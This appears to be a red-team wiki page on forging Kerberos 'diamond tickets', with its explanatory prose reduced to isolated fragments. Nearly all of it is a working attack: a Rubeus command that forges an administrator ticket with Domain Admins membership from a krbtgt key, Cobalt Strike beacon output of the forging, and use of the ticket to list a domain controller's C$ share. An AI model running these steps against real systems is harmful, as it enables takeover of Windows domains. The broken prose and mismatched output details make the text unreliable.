

TGT

krbtgt

TGT

AS-REQ TGS-REQ

TGT

TGT

krbtgt

Rubeus

```
/tgtdeleg kerberos gss-api TGT
/ticketuser
/ticketuserid RID
/groups RID 512
/krbkey krbtgt AES256
```

```
rubeus.exe diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:512
/krbkey:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /nowrap
```

```
beacon> execute-assembly /opt/red/rubeus.exe diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:512 /krbkey:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /nowrap
[*] Tasked beacon to run .NET program: rubeus.exe diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:512 /krbkey:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /nowrap
[*] host called home, sent: 551775 bytes
[*] received output:

SYNTHES
RUBEUS

v2.2.0

[*] Action: Diamond Ticket

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc01.prod.raven-med.local'
[*] Kerberos GSS-API initialization success!
[*] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256-ts-hmac-sha1
[*] Extracted the service ticket session key from the ticket cache: UpWpzrl9eDHqjVhYn3w0kpVtGivhoAIhKaWjyXlzF70=
[*] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFjjCCBYqgAwIBBaEDAgEMooIE2DCCBHGggRSMIIeAKADAgEFoRYbFFBSt0QuUKFWRU4tTUVELkzPQOFMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRQUk9ELlJBVkJVbVU1FRCSMT0NBTKOCBBwggQYoAMCARKhAwIBAgKCBaoEggQGbk/KIi88dsX2j938uferaWbP0Kk

[*] Decrypting TGT
[*] Retrieving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT

[*] base64(ticket.kirbi):

doIFjjCCBYqgAwIBBaEDAgEMooIE2DCCBHGggRSMIIeAKADAgEFoRYbFFBSt0QuUKFWRU4tTUVELkzPQOFMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRQUk9ELlJBVkJVbVU1FRCSMT0NBTKOCBAwggQYoAMCARKhAwIBAgKCA/oEggP2LTapen5aD0I5QZsUANA6et10mh3
```

```
beacon> make_token prod\administrator NotRealPassword
[*] Tasked beacon to create a token for prod\administrator
[+] host called home, sent: 52 bytes
[+] Impersonated PROD\servermgr
beacon> kerberos_ticket_use /root/Desktop/diamond.kirbi
[*] Tasked beacon to apply ticket in /root/Desktop/diamond.kirbi
[+] host called home, sent: 2972 bytes
beacon> ls \\dc01\c$
[*] Tasked beacon to list files in \\dc01\c$
[+] host called home, sent: 27 bytes
[*] Listing: \\dc01\c$\
```

Size	Type	Last Modified	Name
----	-----	-----	----
	dir	09/15/2018 00:19:00	\$Recycle.Bin
	dir	01/20/2023 19:37:47	Documents and Settings
	dir	09/15/2018 00:19:00	PerfLogs
	dir	01/28/2023 12:08:46	Program Files
	dir	01/20/2023 13:16:12	Program Files (x86)
	dir	04/02/2023 13:18:22	ProgramData
	dir	01/20/2023 19:37:53	Recovery
	dir	01/20/2023 15:39:31	System Volume Information
	dir	01/20/2023 13:16:07	Users
	dir	01/20/2023 19:13:12	Windows
512mb	fil	04/01/2023 20:49:26	pagefile.sys

---

Revision #6

Created 5 September 2022 03:12:19 by

Updated 14 June 2023 03:43:18 by